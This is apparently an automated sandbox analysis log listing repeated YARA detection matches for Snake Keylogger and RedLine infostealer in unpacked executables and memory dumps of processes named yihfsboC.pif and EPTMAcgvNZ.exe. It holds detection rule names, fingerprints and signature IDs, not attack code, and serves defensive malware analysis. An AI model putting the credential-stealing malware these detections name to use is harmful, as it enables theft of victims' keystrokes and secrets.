Source: 26.2.yihfsboC.pif.2ae90f08.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.2.yihfsboC.pif.2ae90f08.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 14.2.yihfsboC.pif.27065570.11.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.yihfsboC.pif.27065570.11.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 14.2.yihfsboC.pif.25d6c896.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.yihfsboC.pif.25d6c896.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.yihfsboC.pif.342db98e.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.yihfsboC.pif.342db98e.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.yihfsboC.pif.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 26.2.yihfsboC.pif.285dc896.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.2.yihfsboC.pif.285dc896.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 26.2.yihfsboC.pif.2ae90000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.2.yihfsboC.pif.2ae90000.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.3.yihfsboC.pif.327be688.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.3.yihfsboC.pif.327be688.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.yihfsboC.pif.35956478.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.yihfsboC.pif.35956478.10.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 26.1.yihfsboC.pif.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 14.2.yihfsboC.pif.28be0000.15.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.yihfsboC.pif.28be0000.15.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 26.2.yihfsboC.pif.285db98e.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.2.yihfsboC.pif.285db98e.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.yihfsboC.pif.34690000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.yihfsboC.pif.34690000.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.EPTMAcgvNZ.exe.21ef13d8.11.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 26.2.yihfsboC.pif.2b4c0000.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.2.yihfsboC.pif.2b4c0000.10.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 14.2.yihfsboC.pif.27066478.12.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.yihfsboC.pif.27066478.12.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.1.yihfsboC.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 23.2.yihfsboC.pif.34690f08.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.yihfsboC.pif.34690f08.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.1.yihfsboC.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 14.2.yihfsboC.pif.25d6b98e.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.yihfsboC.pif.25d6b98e.8.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.yihfsboC.pif.342db98e.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.yihfsboC.pif.342db98e.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.yihfsboC.pif.342dc896.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.yihfsboC.pif.342dc896.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 14.3.yihfsboC.pif.24219998.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.3.yihfsboC.pif.24219998.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 14.2.yihfsboC.pif.2709e790.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.yihfsboC.pif.2709e790.10.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 14.2.yihfsboC.pif.27065570.11.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.yihfsboC.pif.27065570.11.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.EPTMAcgvNZ.exe.21a70ae8.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 14.3.yihfsboC.pif.24219998.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.3.yihfsboC.pif.24219998.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 26.2.yihfsboC.pif.29915570.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.2.yihfsboC.pif.29915570.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000017.00000002.2542721990.0000000034860000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000017.00000002.2542721990.0000000034860000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000017.00000003.1465818240.00000000327BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000017.00000001.1460585249.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0000000E.00000002.2540746609.0000000027061000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000001A.00000002.2532622056.000000002859B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000E.00000003.1357241369.0000000024219000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000001A.00000002.2537622019.0000000029911000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0000001A.00000002.2505611445.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000017.00000002.2505730658.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0000000E.00000002.2535779078.0000000025D2B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000E.00000002.2542354548.0000000028BE0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000E.00000002.2542354548.0000000028BE0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000017.00000002.2540455156.000000003429B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000E.00000002.2505613508.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0000001A.00000002.2538945311.000000002B4C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000001A.00000002.2538945311.000000002B4C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0000001A.00000003.1551837223.00000000268CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000E.00000002.2541431650.00000000285A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000E.00000002.2541431650.00000000285A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000017.00000002.2542884762.0000000034951000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0000001A.00000001.1548998614.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000017.00000002.2546648768.0000000035951000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000017.00000002.2541674509.0000000034690000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000017.00000002.2541674509.0000000034690000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0000001A.00000002.2538166394.000000002AE90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000001A.00000002.2538166394.000000002AE90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: yihfsboC.pif PID: 7240, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: yihfsboC.pif PID: 7240, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: yihfsboC.pif PID: 7660, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: yihfsboC.pif PID: 7660, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
